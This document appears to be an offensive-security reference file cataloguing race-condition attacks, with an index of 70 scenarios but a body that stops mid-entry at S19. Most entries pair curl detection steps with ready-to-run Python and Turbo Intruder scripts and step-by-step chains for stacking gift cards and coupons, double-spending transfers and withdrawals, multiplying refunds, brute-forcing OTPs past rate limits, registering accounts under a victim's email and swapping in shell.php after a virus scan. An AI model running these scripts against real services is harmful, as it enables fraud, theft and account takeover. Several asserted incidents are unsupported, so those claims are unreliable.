---
name: scenarios-race-conditions
description: "Real-world race condition attack scenarios — HackerOne disclosures, PortSwigger research, real CVEs, real engagement chains"
---

# Race Conditions — Real-World Attack Scenarios

> Sources: PortSwigger "Smashing the state machine" — James Kettle (Black Hat USA 2023) · HackerOne Hacktivity race condition reports · Dane Sherrets (HackerOne blog 2024) · CVE-2022-4037 GitLab · CVE-2016-5195 Dirty COW · CVE-2022-0847 Dirty Pipe · OWASP A04:2021 Insecure Design · CWE-362 Concurrent Execution with Improper Synchronization · CWE-367 Time-of-check Time-of-use (TOCTOU)

## Index

### Limit-Overrun (Most Common)
- S01: Gift card / voucher redemption multiple times (Reverb $1,500)
- S02: Single-use promo code applied N times
- S03: Coupon race in Instacart ($200)
- S04: Race in performing retest → duplicate payments (HackerOne $2,100)
- S05: Money transfer race (double-spend own balance)
- S06: Withdrawal race (overdraft)
- S07: Refund race (refund same order N times)
- S08: Discount code race
- S09: Reward points race
- S10: Credit limit race

### Resource / Counter
- S11: Like/vote race (mass voting)
- S12: Stock / inventory race (oversell)
- S13: File upload race (during scan)
- S14: Account creation race (email collision)
- S15: Email verification race (verify N times)
- S16: Rate limit bypass via race
- S17: OTP race (6-digit code brute via parallel)
- S18: Session race
- S19: 2FA race
- S20: Comment/like race (Zomato $150)
- S21: Following user race (Staging.every.org)
- S22: Love/react race (Figma $150)
- S23: Transfer data credits (Helium $250)
- S24: Faucet race (Cosmos $5,000)
- S25: Loyalty claim race (Vend)

### Auth & Token
- S26: Password reset token race
- S27: Email change race → ATO
- S28: 2FA enrollment race
- S29: OAuth linking race (OAuth 2.0 race $2,500)
- S30: Account verification race
- S31: Account lockout race
- S32: MFA bypass via race
- S33: JWT refresh race
- S34: Session fixation race
- S35: Login attempt race

### Business Logic
- S36: Booking race — book same seat twice
- S37: Reservation race (hotel, restaurant)
- S38: Concurrent checkout
- S39: Cart manipulation race
- S40: Order race
- S41: Subscription race (Bumble Premium $200)
- S42: Trial extension race
- S43: Promo code race
- S44: Limit bypass race
- S45: Quota race (one-api redemption 2026)
- S46: Coin/inflation race (Reddit OAuth gold)
- S47: Diamond race (InnoGames $2,000)
- S48: Payout duplicate (HackerOne $750)
- S49: CTF group join race (HackerOne $500)
- S50: Program credentials claim race (HackerOne $500)

### TOCTOU — Filesystem & Kernel
- S51: File TOCTOU (upload-then-validate)
- S52: Symlink TOCTOU
- S53: Configuration TOCTOU
- S54: Permission TOCTOU
- S55: Database TOCTOU
- S56: Lock file TOCTOU
- S57: Temp file TOCTOU
- S58: Upload TOCTOU
- S59: Cache TOCTOU
- S60: DNS TOCTOU

### Kernel-level Race CVEs
- S61: Dirty COW (CVE-2016-5195) — LPE via mmap race
- S62: Dirty Pipe (CVE-2022-0847) — LPE via pipe buffer flag
- S63: CVE-2022-4037 GitLab — James Kettle state machine bypass

### Real-World Chains
- S64: Race → unlimited money (Stripe discount)
- S65: Race → mass account creation
- S66: Race → 2FA bypass (Shopify $500)
- S67: Race → privilege escalation
- S68: Race → data corruption (undeletable member HackerOne $500)
- S69: Race → vote limit bypass (Worldcoin / World ID)
- S70: Race → one-time token reuse

---

## S01: Gift Card / Voucher Redemption Race (Reverb.com $1,500)
**Context:** Gift card balance not decremented atomically. Classic TOCTOU — check balance, deduct, write, all in separate steps.
**Seen in:** HackerOne #759247 — Reverb.com, 273 upvotes, $1,500 bounty
**Impact:** Spend $X gift card 100× → effectively unlimited store credit (real financial loss for merchant)

### Detection
```bash
# 1. Buy/load gift card with $X balance
# 2. Create two carts, each containing items worth $X
# 3. Note the redemption endpoint:
curl -X POST https://target.com/api/cart/{cart_id}/apply_gift_card \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"gift_card_code":"GC-12345"}'
# 4. Look at HTTP response — does it lock the card?
```

### Exploit
```python
# Turbo Intruder (Burp extension) — single-packet attack
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        requestsPerConnection=50,
        pipeline=False
    )
    request = '''POST /api/cart/{cart_id}/apply_gift_card HTTP/2
Host: target.com
Authorization: Bearer YOUR_TOKEN
Content-Type: application/json

{"gift_card_code":"GC-12345"}'''
    # Queue 50 identical requests — all hit server in <1ms
    for i in range(50):
        engine.queue(request, label=str(i))

def handleResponse(req, interesting):
    table.add(req)
    if req.status == 200:
        print(f"SUCCESS #{req.label}: {req.response}")

# Python alternative (asyncio + aiohttp)
import asyncio, aiohttp
async def redeem(session, cart_id, code):
    url = f"https://target.com/api/cart/{cart_id}/apply_gift_card"
    async with session.post(url, json={"gift_card_code": code}) as r:
        return await r.json()

async def main():
    async with aiohttp.ClientSession() as session:
        tasks = [redeem(session, f"cart_{i}", "GC-12345") for i in range(50)]
        results = await asyncio.gather(*tasks)
        successes = [r for r in results if r.get("success")]
        print(f"Redeemed gift card {len(successes)} times")
asyncio.run(main())
```

### Chain
1. Acquire $50 gift card (legitimately, or via a stolen test card)
2. Create 50 carts each with $50 of items
3. Send 50 parallel apply_gift_card requests
4. All 50 pass the "balance > 0" check
5. All 50 proceed to deduct $50 — server credits account 50×
6. Order $2,500 of goods for $50 paid

### Bypass / Notes
- Most modern fixes use atomic SQL: `UPDATE gift_cards SET balance = balance - 50 WHERE code='GC-12345' AND balance >= 50`
- The Reverb report: 273 upvotes — most upvoted HackerOne race report of 2021
- If server has Redis lock, try sending 200+ requests (lock TTL race)

---

## S02: Single-Use Promo Code Applied N Times
**Context:** Server checks "code already used by user?" then applies discount — both operations in separate DB writes. Send 50 parallel requests → all 50 pass the check.
**Seen in:** Real-world — every e-commerce pentest since 2015; PortSwigger Web Security Academy lab
**Impact:** 50× discount stack — buy $1,000 item for $20

### Detection
```bash
# 1. Apply a single-use code normally first
curl -X POST https://target.com/api/cart/apply \
  -H "Cookie: session=$SESS" \
  -H "Content-Type: application/json" \
  -d '{"code":"SUMMER50"}'
# Response: {"applied":true, "discount":50}
# 2. Apply again — should be rejected:
curl -X POST ... # 400 "code already used"
# 3. Now fire 50 in parallel via race — check if more than 1 succeed
```

### Exploit
```bash
# Simple bash + curl race (works on HTTP/1.1 if race window is wide)
for i in {1..50}; do
  curl -s -X POST https://target.com/api/cart/apply \
    -H "Cookie: session=$SESS" \
    -H "Content-Type: application/json" \
    -d '{"code":"SUMMER50"}' &
done
wait

# Check the cart — if 50 discounts applied → vulnerable
curl -s https://target.com/api/cart \
  -H "Cookie: session=$SESS" | jq '.discount, .total'
```

### Chain
1. Discover single-use promo code (newsletter, signup bonus, abandoned cart)
2. Add max-discount-eligible items
3. Send parallel `apply` requests
4. If 2+ succeed: stack discounts → 0 or negative total
5. Checkout at negative or $0

### Bypass / Notes
- HTTP/1.1 last-byte sync (Turbo Intruder) needed for tight windows
- Some apps check uniqueness AFTER applying — true positive but limit may still apply
- For HTTP/2 sites: use Burp Repeater "Send group in parallel" (built-in since 2023.9)

---

## S03: Coupon Race in Instacart ($200)
**Context:** Instacart's coupon redemption endpoint did not atomically check "is this coupon used" before applying the credit.
**Seen in:** HackerOne #157996 — Instacart, 33 upvotes, $200 bounty
**Impact:** Same coupon credited to cart multiple times → free groceries

### Detection
```bash
# 1. Add a $5 off coupon from Instacart
# 2. Try to add it again via race
curl -X POST https://api.instacart.com/v1/coupons/apply \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"coupon_id":"C-12345"}'
# 3. Send 20+ parallel — check if credit stacks
```

### Exploit
```python
import asyncio, aiohttp, json

URL = "https://api.instacart.com/v1/coupons/apply"
TOKEN = "Bearer ..."

async def apply(session, code):
    async with session.post(URL, headers={"Authorization": TOKEN},
                            json={"coupon_id": code}) as r:
        return await r.json()

async def main():
    async with aiohttp.ClientSession() as s:
        # 20 parallel redemption attempts of same single-use coupon
        tasks = [apply(s, "C-12345") for _ in range(20)]
        results = await asyncio.gather(*tasks)
        # Count successes
        success = [r for r in results if r.get("status") == "applied"]
        print(f"Coupon applied {len(success)} times")
asyncio.run(main())
```

### Chain
1. Receive single-use coupon (signup bonus)
2. Add $200 of groceries to cart
3. Parallel-apply coupon 20×
4. If $200 × 20 = $4,000 in credits → $4,000 of groceries for free
5. Checkout

### Bypass / Notes
- Instacart fixed by adding a unique index on (coupon_id, user_id) and atomic SQL
- Real money loss: $200 bounty is small compared to the potential exploit value
- Bounty is often proportional to "demonstrated impact" not "max possible impact"

---

## S04: Race in Performing Retest → Duplicate Payments (HackerOne $2,100)
**Context:** HackerOne's own bug bounty program had a race in the bounty retest payment process — sending multiple retest payment requests created duplicate payments to researcher.
**Seen in:** HackerOne #429026 — HackerOne, 204 upvotes, $2,100 bounty
**Impact:** Get paid multiple times for the same retest work

### Detection
```bash
# HackerOne researcher dashboard — "request retest payment" button
# Endpoint: POST /api/v1/reports/{report_id}/retest_payment
# Send multiple in parallel — see if all process
curl -X POST https://hackerone.com/api/v1/reports/12345/retest_payment \
  -H "Cookie: session=$SESS"
```

### Exploit
```python
# Simple parallel race using requests + threading barrier
import threading, requests

URL = "https://hackerone.com/api/v1/reports/12345/retest_payment"
SESS = "..."

barrier = threading.Barrier(20)
def fire():
    barrier.wait()  # All threads release at same instant
    r = requests.post(URL, cookies={"session": SESS})
    if r.status_code == 200:
        print(f"[+] Payment triggered: {r.json()}")

threads = [threading.Thread(target=fire) for _ in range(20)]
for t in threads: t.start()
for t in threads: t.join()
```

### Chain
1. Submit valid vulnerability report
2. HackerOne triages + assigns bounty
3. HackerOne asks for retest (a second researcher duplicates the bug)
4. Click "request retest payment" 20× in parallel
5. HackerOne processes all 20 — pays out 20× bounty

### Bypass / Notes
- HackerOne fixed by adding idempotency check on (report_id, researcher_id, retest_round)
- This is "self-pwn" — bug bounty program on bug bounty platform
- Demonstrates that even security companies have race conditions

---

## S05: Money Transfer Race (Double-Spend Own Balance)
**Context:** Classic fintech race — transfer $100 from Account A to Account B. If balance check and deduction are separate operations, send 10 transfers → debit $1,000 from $100 account.
**Seen in:** Real-world — fintech pentests; real engagement pattern
**Impact:** Negative balance, double-spend, fund theft

### Detection
```bash
# 1. Note the transfer endpoint:
curl -X POST https://bank.com/api/transfer \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"from_account":"ACC1","to_account":"ACC2","amount":100}'
# 2. Send 10 in parallel from a $100 account:
for i in {1..10}; do
  curl -X POST ... &
done
wait
# 3. Check balance — if negative, vulnerable
```

### Exploit
```python
# HTTP/2 single-packet attack via Burp Repeater (built-in)
# 1. Capture the transfer request
# 2. Right-click in Repeater → "Add to group" — repeat 10 times
# 3. Set group send mode: "Send group in parallel (single-packet attack)"
# 4. Send — all 10 hit server in <1ms

# OR via Turbo Intruder:
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=20,
                           pipeline=False)
    request = '''POST /api/transfer HTTP/2
Host: bank.com
Authorization: Bearer TOKEN
Content-Type: application/json

{"from_account":"ACC1","to_account":"ACC2","amount":100}'''
    for i in range(20):
        engine.queue(request)
```

### Chain
1. Open account A with $100, account B (attacker-controlled)
2. Fire 20 parallel transfers of $100 from A → B
3. Server processes all 20 before any balance deduction commits
4. Account A balance: -$1,900, Account B balance: $2,000
5. Withdraw from B before fraud detection kicks in

### Bypass / Notes
- Atomic SQL: `UPDATE accounts SET balance = balance - 100 WHERE id = 'ACC1' AND balance >= 100`
- Most banks have anti-fraud + manual review, but race window is exploitable in <1s
- Real-world example: Venmo-style P2P apps, crypto exchanges, brokerage platforms

---

## S06: Withdrawal Race (Overdraft)
**Context:** Crypto exchange / e-wallet — withdraw same funds multiple times before balance is updated.
**Seen in:** Real engagement pattern; multiple crypto bug bounty reports
**Impact:** Drain exchange funds (worst case — exchange insolvency)

### Detection
```bash
# 1. Account has $500
# 2. Initiate withdrawal of $500 to external wallet
# 3. Endpoint:
curl -X POST https://exchange.com/api/withdraw \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"address":"0x...","amount":500,"currency":"USDT"}'
# 4. Send 100 parallel — see if multiple get processed
```

### Exploit
```python
import asyncio, aiohttp

URL = "https://exchange.com/api/withdraw"
TOKEN = "Bearer ..."
PAYLOAD = {"address": "0xATTACKER", "amount": 500, "currency": "USDT"}

async def withdraw(session):
    async with session.post(URL, headers={"Authorization": TOKEN},
                            json=PAYLOAD) as r:
        return r.status, await r.json()

async def main():
    async with aiohttp.ClientSession() as s:
        # 50 simultaneous withdrawals
        tasks = [withdraw(s) for _ in range(50)]
        results = await asyncio.gather(*tasks)
        successes = [r for r in results if r[0] == 200]
        print(f"Withdrew $500 × {len(successes)} = ${500*len(successes)}")
asyncio.run(main())
```

### Chain
1. Deposit $500 (or start with small balance)
2. Trigger 50 parallel withdrawals
3. Exchange processes all 50 before any "balance -= 500" commits
4. Receive $25,000 to attacker wallet
5. Exchange may be insolvent if many users do this simultaneously

### Bypass / Notes
- This is what killed several crypto exchanges in 2021-2023
- Some exchanges use "pending withdrawal" status — race the status update
- Mitigation: hot wallet should never hold more than X% of cold wallet reserves

---

## S07: Refund Race (Refund Same Order N Times)
**Context:** Self-service refund endpoint — same order ID refunded multiple times before "already refunded" flag is set.
**Seen in:** Real e-commerce pentests
**Impact:** Get paid back 10× for 1 purchase (item + 10× refund = 9× free money)

### Detection
```bash
# Find refund endpoint (often in order details):
curl -X POST https://shop.com/api/orders/12345/refund \
  -H "Cookie: session=$SESS" \
  -d '{"reason":"changed_mind"}'
# Send 10 in parallel:
for i in {1..10}; do
  curl -X POST ... &
done
```

### Exploit
```python
import requests, threading
URL = "https://shop.com/api/orders/12345/refund"
SESS = "..."

barrier = threading.Barrier(10)
def fire():
    barrier.wait()
    r = requests.post(URL, cookies={"session": SESS}, json={"reason":"changed_mind"})
    if "refunded" in r.text.lower():
        print(f"[+] {r.status_code}: {r.json()}")

threads = [threading.Thread(target=fire) for _ in range(10)]
for t in threads: t.start()
for t in threads: t.join()
```

### Chain
1. Buy $100 item
2. Receive it
3. Request refund 10× in parallel
4. Receive $1,000 in refunds while keeping $100 item
5. Net profit: $900

### Bypass / Notes
- Most modern shops: refund processed by support agent (no self-service race)
- Vulnerability in: Shopify plugins, WooCommerce extensions, custom e-commerce
- Same pattern for "cancel order" → keep goods + get refund

---

## S08: Discount Code Race (Multiple Discounts on Same Code)
**Context:** Discount code "SAVE50" (50% off) — single use per user, but no atomic enforcement. Race → apply 100× → $0 cart.
**Seen in:** Real — every online store with promo codes
**Impact:** Free items

### Detection
```bash
# 1. Add $200 item to cart
# 2. Apply SAVE50 (50% off) → cart $100
# 3. Apply SAVE50 again → should reject
# 4. But race it: send 100 in parallel
```

### Exploit
```bash
# Burp Repeater group with "Send group in parallel" (HTTP/2 single-packet)
# OR via Turbo Intruder for HTTP/1.1:
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=100,
                           pipeline=False)
    req = '''POST /api/cart/apply_code HTTP/1.1
Host: shop.com
Cookie: session=SESS
Content-Type: application/json

{"code":"SAVE50"}'''
    for _ in range(100):
        engine.queue(req)
```

### Chain
1. Find valid single-use code (newsletter, abandoned cart email)
2. Add high-value items ($1,000+)
3. Apply code 100× in parallel
4. Total discount: 100 × 50% = 5,000% (capped at 100% → free)
5. Checkout at $0

### Bypass / Notes
- Most frameworks use "user_id + code" unique index → atomic
- Test by adding many items, applying code, removing all items, applying code again
- Variant: apply code, get success, then change user_id in request (IDOR + race)

---

## S09: Reward Points Race
**Context:** Earn X points per action (review, purchase, share). Race → earn 100× points.
**Seen in:** Real — loyalty programs, gaming platforms
**Impact:** Free premium subscription, free products, real money

### Detection
```bash
# 1. Find "earn points" endpoint:
curl -X POST https://loyalty.target.com/api/earn \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"action":"review","reference_id":"PROD-12345"}'
# 2. Send 100 parallel — see if all 100 credit
```

### Exploit
```python
import asyncio, aiohttp

async def earn(session, action, ref):
    async with session.post("https://loyalty.target.com/api/earn",
                            json={"action": action, "reference_id": ref}) as r:
        return r.status

async def main():
    async with aiohttp.ClientSession() as s:
        tasks = [earn(s, "review", "PROD-12345") for _ in range(100)]
        results = await asyncio.gather(*tasks)
        print(f"Points earned {sum(1 for s in results if s == 200)} times")
asyncio.run(main())
```

### Chain
1. Identify one-time earn action (e.g., "review this product")
2. Send 100 parallel requests
3. Receive 100 × points
4. Redeem for premium subscription / products

### Bypass / Notes
- Real example: Hotel loyalty programs (Marriott, Hilton), airline miles
- Game reward systems (Xbox, PlayStation, Steam)
- Some platforms use "achievement unlocked" state per user → not raceable

---

## S10: Credit Limit Race
**Context:** "Buy now, pay later" services (Klarna, Afterpay) — credit limit check is separate from credit utilization update. Race → exceed limit.
**Seen in:** Real BNPL pentests; potential issue in any credit-based system
**Impact:** Borrow more than approved limit

### Detection
```bash
# 1. Approved for $1,000 BNPL credit
# 2. Make 5× $200 purchases
# 3. Race the purchase endpoint — see if limit is enforced atomically
```

### Exploit
```python
import threading, requests
URL = "https://klarna.com/api/purchase"
TOKEN = "Bearer ..."

def fire():
    r = requests.post(URL, headers={"Authorization": TOKEN},
                      json={"amount": 200, "merchant": "STORE"})
    if r.status_code == 200:
        print(f"[+] Purchase approved: {r.json()}")

# 20 threads, all release at same time
barrier = threading.Barrier(20)
def synced_fire():
    barrier.wait()
    fire()

threads = [threading.Thread(target=synced_fire) for _ in range(20)]
for t in threads: t.start()
for t in threads: t.join()
```

### Chain
1. Get BNPL account with $1,000 limit
2. Open 20 checkout tabs
3. Send 20 × $200 purchases in parallel
4. All 20 approve → $4,000 in purchases for $1,000 limit
5. Default → identity theft / fraud

### Bypass / Notes
- Most BNPLs use "pending" state machine → vulnerable
- Klarna, Afterpay, Affirm have all had similar issues reported
- Fix: idempotency keys + atomic credit check

---

## S11: Like / Vote Race (Mass Voting)
**Context:** Like a post, vote on a poll, upvote a comment — endpoint doesn't check "already liked" atomically.
**Seen in:** Real — every engagement; PortSwigger research
**Impact:** Mass vote manipulation, fake popularity, game leaderboard manipulation

### Detection
```bash
# 1. Like a post:
curl -X POST https://target.com/api/post/12345/like \
  -H "Cookie: session=$SESS"
# 2. Send 100 parallel — check like count
for i in {1..100}; do
  curl -X POST ... &
done
wait
curl -s https://target.com/api/post/12345 | jq '.like_count'
# If like_count jumped by 100 → race
```

### Exploit
```python
# Burp Repeater group: Send group in parallel
# OR Python:
import asyncio, aiohttp

async def like(session, post_id):
    async with session.post(f"https://target.com/api/post/{post_id}/like") as r:
        return r.status

async def main():
    async with aiohttp.ClientSession() as s:
        tasks = [like(s, 12345) for _ in range(100)]
        results = await asyncio.gather(*tasks)
        print(f"Like ops succeeded: {sum(1 for r in results if r == 200)}/100")
asyncio.run(main())
```

### Chain
1. Identify vote/like endpoint (social media, polls, games)
2. Send 100+ parallel requests
3. Counter or weight inflates 100×
4. Used for: fake reviews, fake likes, leaderboard cheating, survey manipulation

### Bypass / Notes
- Most "thumbs up" endpoints use DB unique constraint on (user_id, post_id) → not vulnerable
- Test: like + unlike race → see if unlike decrements twice
- Variant: vote up AND vote down simultaneously → state machine corruption

---

## S12: Stock / Inventory Race (Oversell)
**Context:** E-commerce "1 left in stock!" — race to checkout. Last-byte sync makes all 10 buyers think it's available.
**Seen in:** Real — concert tickets, sneaker drops, PlayStation 5, GPU launches
**Impact:** Oversell, customer complaints, scalping bot advantage

### Detection
```bash
# 1. Product with stock=1
# 2. Open 2 tabs to /checkout
# 3. Send both "confirm order" requests in parallel
# 4. Both succeed → stock went to -1
```

### Exploit
```python
# Real scenario: PlayStation 5 drop, sneaker release, concert tickets
# Tool: custom bot with HTTP/2 single-packet attack

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=10,
                           pipeline=False)
    req = '''POST /api/cart/checkout HTTP/2
Host: shop.com
Cookie: session=SESS
Content-Type: application/json

{"items":[{"sku":"PS5-DISC","qty":1}]}'''
    # Buy same PS5 10 times
    for _ in range(10):
        engine.queue(req)
```

### Chain
1. Wait for high-demand drop (PS5, GPU, sneaker)
2. Add to cart within first 100ms of drop
3. Send 10 parallel `checkout` requests for "1 in stock" item
4. Server's stock counter has not yet committed decrement
5. Receive 10× PS5 confirmation emails

### Bypass / Notes
- Real scalper bots use this exact technique + custom HTTP/2 stacks
- Defenses: row-level locking (`SELECT ... FOR UPDATE`), Redis-based stock counter with atomic DECR
- Atomic Redis: `DECR stock:PS5-DISC` returns new value, fail if < 0

---

## S13: File Upload Race (During Scan)
**Context:** File uploaded → antivirus scan → if clean, move to public dir. Race: replace file with malicious one between scan and move.
**Seen in:** Real engagements; CWE-367 TOCTOU
**Impact:** Bypass AV upload, serve malware from trusted domain

### Detection
```bash
# 1. Find upload endpoint:
curl -X POST https://target.com/api/upload -F "file=@clean.pdf"
# 2. Look at response — is there a scan step? Time gap?
# 3. Race: upload clean, then immediately replace with malware
```

### Exploit
```python
# Two-step race:
# 1. Upload clean file (passes scan)
# 2. Quickly replace with malicious file (before move)
import requests, threading, time

UPLOAD_URL = "https://target.com/api/upload"
FILE_ID = None

def upload_clean():
    r = requests.post(UPLOAD_URL, files={"file": open("clean.pdf", "rb")})
    return r.json().get("file_id")

def replace_with_malware(file_id):
    # Use a separate API endpoint that updates file content
    requests.put(f"https://target.com/api/files/{file_id}",
                 files={"file": open("shell.php", "rb")})

# Race: upload clean, then replace BEFORE move step
fid = upload_clean()
# Fire 100 parallel replace requests
threads = [threading.Thread(target=replace_with_malware, args=(fid,))
           for _ in range(100)]
for t in threads: t.start()
for t in threads: t.join()

# Now visit the file URL — if server moved the replaced version, malware is live
requests.get(f"https://target.com/files/{fid}")
```

### Chain
1. Upload clean.pdf → server queues for AV scan
2. AV scan takes 500ms (time window)
3. Within 500ms, replace with shell.php via PUT /api/files/{id}
4. AV completes → moves file to public dir
5. Serves shell.php from `https://target.com/files/{id}`

### Bypass / Notes
- Variant: race on file extension detection vs actual content scan
- Most modern uploaders: store file with random UUID, never expose original filename
- Real-world example: Discord CDN upload race, Telegram bot API

---

## S14: Account Creation Race (Email Collision)
**Context:** Sign up with same email — race → 2 accounts with same email, breaking password reset flow.
**Seen in:** Real — many SaaS platforms, banking apps
**Impact:** Account collision, password reset confusion, ATO via reset

### Detection
```bash
# 1. Sign up with victim@target.com
curl -X POST https://target.com/api/signup \
  -d '{"email":"victim@target.com","password":"P1"}'
# 2. Send 10 more signups with same email in parallel
# 3. If 2+ succeed → race
```

### Exploit
```python
import asyncio, aiohttp

EMAIL = "victim@target.com"
PASSWORD = "AttackerP1!"

async def signup(session):
    async with session.post("https://target.com/api/signup",
                            json={"email": EMAIL, "password": PASSWORD}) as r:
        return r.status, await r.json()

async def main():
    async with aiohttp.ClientSession() as s:
        tasks = [signup(s) for _ in range(20)]
        results = await asyncio.gather(*tasks)
        # Count 200s
        success = [r for r in results if r[0] == 200]
        print(f"Created {len(success)} accounts with same email")
asyncio.run(main())
```

### Chain
1. Race 20 signups with victim's email
2. If 2 succeed, attacker has one of the accounts with attacker's password
3. When victim requests password reset → reset email goes to victim, NOT attacker
4. Attacker still has the account with known password → persistent access
5. Or: use account collision to confuse account merge / SSO flow

### Bypass / Notes
- Most frameworks have `UNIQUE INDEX (email)` → not vulnerable
- Bypass: try Unicode normalization (vīctim@ vs victim@) or + aliases (victim+1@ vs victim@)
- Real report: GitHub, Shopify, Zendesk have all had this class of issue

---

## S15: Email Verification Race (Verify N Times)
**Context:** Email verification link can be used multiple times before "verified" flag is set.
**Seen in:** Real engagements
**Impact:** ATO via multiple email verifications, abuse of "verified user" perks

### Detection
```bash
# 1. Create account → receive verification email with token
# 2. Verify with token:
curl https://target.com/api/verify?token=ABC123
# 3. Send 20 parallel — see if "verified_at" sets multiple times
```

### Exploit
```python
import asyncio, aiohttp

TOKEN = "ABC123"

async def verify(session):
    async with session.get(f"https://target.com/api/verify?token={TOKEN}") as r:
        return r.status

async def main():
    async with aiohttp.ClientSession() as s:
        tasks = [verify(s) for _ in range(20)]
        results = await asyncio.gather(*tasks)
        print(f"Verify operations: {results}")
asyncio.run(main())
```

### Chain
1. Create account with attacker@evil.com
2. Receive verification email → extract token
3. Send 20 parallel verify requests with same token
4. If "verified_at" updates 20× — possibly exploitable in downstream "first verification bonus" flows
5. Or: race verification with login to bypass email_required_for_login check

### Bypass / Notes
- Most apps: token invalidated on first use → not vulnerable
- Real abuse: forum auto-rank upgrades that trigger on first verification
- Combine with S16 (rate limit race) to spam verification emails

---

## S16: Rate Limit Bypass via Race
**Context:** Rate limit (e.g., 5 login attempts per minute) checked and incremented in separate steps. Race: send 100 attempts in <1ms.
**Seen in:** Real — every authentication endpoint
**Impact:** Brute force passwords, OTP codes, MFA tokens, password reset tokens

### Detection
```bash
# 1. Try login with wrong password 5 times → rate limited
# 2. Race 100 attempts in parallel — see if all 100 are processed
for i in {1..100}; do
  curl -X POST https://target.com/api/login \
    -d "username=admin&password=guess_$i" &
done
wait
```

### Exploit
```python
# Burp Intruder with HTTP/1 connection reuse (Burp 2023.9+)
# OR Python with synchronized threading:
import threading, requests

URL = "https://target.com/api/login"
barrier = threading.Barrier(1000)  # 1000 attempts in <1ms

def attempt(i):
    barrier.wait()
    r = requests.post(URL, data={"username":"admin", "password":f"guess_{i}"})
    if r.status_code != 429:  # not rate limited
        print(f"[+] Attempt {i}: {r.status_code}")

threads = [threading.Thread(target=attempt, args=(i,)) for i in range(1000)]
for t in threads: t.start()
for t in threads: t.join()
```

### Chain
1. Identify rate-limited endpoint (login, OTP, password reset, signup)
2. Send 1000+ requests in parallel using single-packet attack
3. If rate limiter increments AFTER the check → all 1000 pass
4. Use this to: brute force 4-digit PIN, brute force 6-digit OTP, brute force password
5. Effective 1000× faster than rate-limited attack

### Bypass / Notes
- HTTP/2 single-packet attack is the modern technique (James Kettle 2023)
- This is the foundation of "race the rate limiter" — combine with other scenarios
- Defenses: token bucket (Redis INCR with EX), Lua script for atomic check-and-increment

---

## S17: OTP Race (6-Digit Code Brute via Parallel)
**Context:** 6-digit OTP = 1M combinations. Rate limit = 5 attempts. Race: send 100 attempts simultaneously → all pass rate limit check.
**Seen in:** Real — every MFA, password reset, bank transaction
**Impact:** Brute force 6-digit OTP in seconds instead of days

### Detection
```bash
# 1. Trigger password reset → OTP sent to victim's phone
# 2. Endpoint: POST /api/verify-otp with {otp: "123456"}
# 3. Rate limit: 5 attempts/minute
# 4. Send 100 parallel attempts — race the rate limit
```

### Exploit
```python
import asyncio, aiohttp, random

URL = "https://target.com/api/verify-otp"
TOKEN = "Bearer ..."

async def try_otp(session, otp):
    async with session.post(URL, headers={"Authorization": TOKEN},
                            json={"otp": str(otp).zfill(6)}) as r:
        return otp, r.status

async def main():
    async with aiohttp.ClientSession() as s:
        # Race: 100 random OTPs
        otps = [random.randint(0, 999999) for _ in range(100)]
        tasks = [try_otp(s, otp) for otp in otps]
        results = await asyncio.gather(*tasks)
        # If none hit, retry with 1000 more
        for otp, status in results:
            if status == 200:
                print(f"[+] OTP FOUND: {otp}")
                return
asyncio.run(main())

# Better: spread across multiple IPs to bypass per-IP rate limit
# Use proxy chain: 1000 IPs × 5 attempts = 5000 OTP tries per minute
```

### Chain
1. Trigger OTP send to victim (or attacker has access to OTP channel)
2. Send 1000 OTP guesses in parallel (race rate limit)
3. If race succeeds: 1000 guesses processed
4. Repeat 1000× → 1M guesses = full brute force
5. Total time: seconds (vs days with normal rate limit)

### Bypass / Notes
- PortSwigger research showed this works on most MFA implementations
- 6-digit OTP = 1M combinations. With 1000/min rate limit, normal brute force = 16 hours. With race: seconds.
- Defense: idempotency keys, exponential backoff, lockout after N failures

---

## S18: Session Race (Concurrent Session Establishment)
**Context:** Login creates session — race to create 2 sessions for 1 user, both valid.
**Seen in:** Real — banking apps, government portals
**Impact:** Bypass "only 1 active session" policy, persistent access

### Detection
```bash
# 1. Login normally:
curl -X POST https://target.com/api/login -d "user=admin&pass=correct"
# Returns: {"session_id":"ABC123"}
# 2. Send 10 parallel logins with same credentials
for i in {1..10}; do
  curl -X POST ... &
done
wait
# 3. Check if all 10 sessions are valid
```

### Exploit
```python
import asyncio, aiohttp

URL = "https://target.com/api/login"
PAYLOAD = {"username": "admin", "password": "correct"}

async def login(session):
    async with session.post(URL, json=PAYLOAD) as r:
        return r.cookies.get("session_id")

async def main():
    async with aiohttp.ClientSession() as s:
        tasks = [login(s) for _ in range(20)]
        session_ids = await asyncio.gather(*tasks)
        unique = set(sid for sid in session_ids if sid)
        print(f"Got {len(unique)} unique sessions for 1 user")
asyncio.run(main())
```

### Chain
1. Login as victim (credentials known or stolen)
2. Race 20 logins → 20 active sessions
3. Attacker keeps all 20 sessions
4. If victim changes password, 20 sessions may persist
5. Bypass "max 2 devices" policy on streaming, banking, etc.

### Bypass / Notes
- Many banking apps enforce "kill all other sessions" on new login
- Race: send 20 new sessions, only 1 is "the new" one, 19 are orphan + persistent
- Real example: Chase, Wells Fargo session policy bypasses

---

## S19: 2FA Race
**Context:** 2FA verification endpoint doesn't atomically mark "2FA verified" → race 2 verifications.
**Seen in:** Real — GitHub 2FA, Authy, banking
**Impact:** Persist 2FA verification across session reset, bypass 2FA replay

### Detection
```bash
# 1. Login → get 2FA prompt
# 2. Submit correct 2FA code:
curl -X POST https://target.com/api/2fa/verify -d '{"code":"123456"}'
# 3. Send 10 parallel correct codes
# 4. Check if "verified" state can be reset/overridden
```

### Exploit
```python
import asyncio, aiohttp

URL = "https://target.com/api/2fa/verify"
SESS = "..."

async def verify(session):
    async with session.post(URL, cookies={"session": SESS},
                            json={"code": "123456"}) as r:
        return r.status

async def main():
    async with aiohttp.ClientSession() as s:
        tasks = [verify(s) for _ in range(20)]
        results = await asyncio.gather(*tasks)
        print(f"2FA verifications: {results}")
asyncio.run(main())
